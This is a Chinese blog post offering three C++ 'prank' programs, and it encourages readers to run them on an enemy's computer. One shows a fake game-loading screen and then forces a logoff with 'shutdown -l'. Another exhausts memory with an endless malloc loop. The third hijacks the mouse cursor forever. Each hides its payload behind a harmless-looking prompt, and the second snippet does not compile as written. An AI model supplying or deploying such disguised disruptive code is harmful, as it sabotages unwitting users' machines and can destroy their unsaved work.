c++源代码,无敌整蛊,不要自己运行

欢迎来到整蛊课堂:
我希望大家可以在你的仇人电脑上用 🆗?
下面有请三个超整蛊代码上场:
1.

#include<bits/stdc++.h>
#include<windows.h>
#include<stdlib.h>
using namespace std;
int main()
{
	int n;
	cout<<"开始游戏按1"<<endl;
	cin>>n;
	if(n==1)
	{
		for(int i=0;i<100;i++)
		{
			cout<<"--------------------------------------------"<<endl;
			cout<<"  地图:沙漠2 ------------------------------"<<endl;
			cout<<"  正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
			cout<<"--------------------------------------------"<<endl;
			Sleep(100);
			system("cls");
		}
	}
	cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
	cin>>n;
	if(n==1){
		cout<<"开始清理"<<endl;
		Sleep(5000);
		cout<<"哈哈哈"<<endl;
		system("shutdown -l");
	}
	if(n==2){
		cout<<"内存不够,开始强行清理!"<<endl;
		system("shutdown -l");
	}
	return 0;
}
#include <stdlib.h>
int main(void)
{ 
	cout<<"作者是不是猪?(是填1,不是填2)"<<endl;
	cin>>a;
	if(a==1){
	cout<<"你完了"<<endl; 
    while(1)
    { malloc(20000); } 
    } 
    else{
    	cout<<"算你识相"<<endl;
	} 
return 0;
}
#include <stdlib.h>
#include <windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{ 
	int a;
	cout<<"作者是不是猪?(是填1,不是填2)"<<endl;
	cin>>a;
	string c;
	if(a==1){
	cout<<"你完了"<<endl; 
	int x,y;
    while(1)
    { x = rand()%801;
        y = rand()%601;
        SetCursorPos(x,y); } 
    } 
    else{
    	cout<<"算你识相"<<endl;
	} 
return 0;
}

任意一个对方立即阵亡。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值